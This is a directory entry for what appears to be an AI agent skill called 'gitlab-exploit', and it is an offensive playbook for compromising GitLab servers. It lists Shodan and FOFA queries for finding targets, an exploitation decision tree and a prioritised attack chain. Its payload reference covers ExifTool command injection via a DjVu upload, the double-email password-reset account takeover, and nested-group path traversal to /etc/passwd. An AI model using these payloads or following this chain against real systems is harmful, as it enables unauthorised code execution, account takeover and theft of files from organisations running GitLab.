SuperAPI AI Directory

gitlab-exploit

General & other

View repository

Updated 10-16 09:44

About this skill

GitLab Vulnerability Exploitation Skills
  • Product: GitLab CE/EE | Port: 80/443, 22(SSH), 5050(Registry)
  • Identification: Page title "GitLab",/users/sign_in, response header gitlab-server
  • FOFA: app="GitLab" | Shodan: http.title:"GitLab"

Vulnerability Overview

Vulnerability ID Affected Versions Type Conditions Impact
CVE-2021-22205 <13.8.8/<13.9.6/<13.10.3 ExifTool DjVu RCE No authentication required Critical 9.9
CVE-2023-2825 16.0.0 Path traversal file read Requires account + nested groups Critical 9.6
CVE-2023-7028 16.1-16.7 Password reset account takeover Knowing the victim's email Critical 9.6
CVE-2022-2884 Multiple versions Deserialization RCE Requires authentication Critical

Exploitation Decision Tree

1. 识别GitLab → /users/sign_in (登录页) → /help (版本)
2. CVE-2021-22205 (老版本优先) → 上传恶意DjVu → ExifTool RCE
3. CVE-2023-7028 (密码重置) → 双邮箱重置请求 → 接管账户
4. CVE-2023-2825 (文件读取) → 嵌套组+路径穿越 → 读/etc/passwd
5. 已有账户后 → CI/CD注入 | Webhook SSRF | 权限提升

Quick Reference

Endpoint Method Purpose Authentication
/users/sign_in GET Login page No
/uploads/user POST File upload (CVE-2021-22205) No
/users/password POST Password reset (CVE-2023-7028) No
/users/password/new GET Password reset page No
/api/v4/projects GET Project list No (public)
/help GET Version information No
/explore GET Public projects No
/users/sign_up GET Registration page No

Payload Quick Reference

CVE-2021-22205: DjVu metadata嵌入 (Copyright "\\" . qx{CMD} . \\" b ")
  → POST /uploads/user  → 响应含 "Failed to process image" = 存在漏洞

CVE-2023-7028: POST /users/password
  → Body: user[email][]=VICTIM&user[email][]=ATTACKER (数组双邮箱)

CVE-2023-2825: GET /<11层嵌套组>/project/uploads/<id>/..%2f..%2f(x12)etc%2fpasswd

Exploitation Chain Priority

1. CVE-2021-22205 → 无认证DjVu上传 → ExifTool RCE
2. CVE-2023-7028 → 双邮箱密码重置 → 账户接管
3. CVE-2023-2825 → 嵌套组路径穿越 → 任意文件读取
4. 管理员凭据 → CI/CD Pipeline → 代码仓库RCE

Detailed Reference Documentation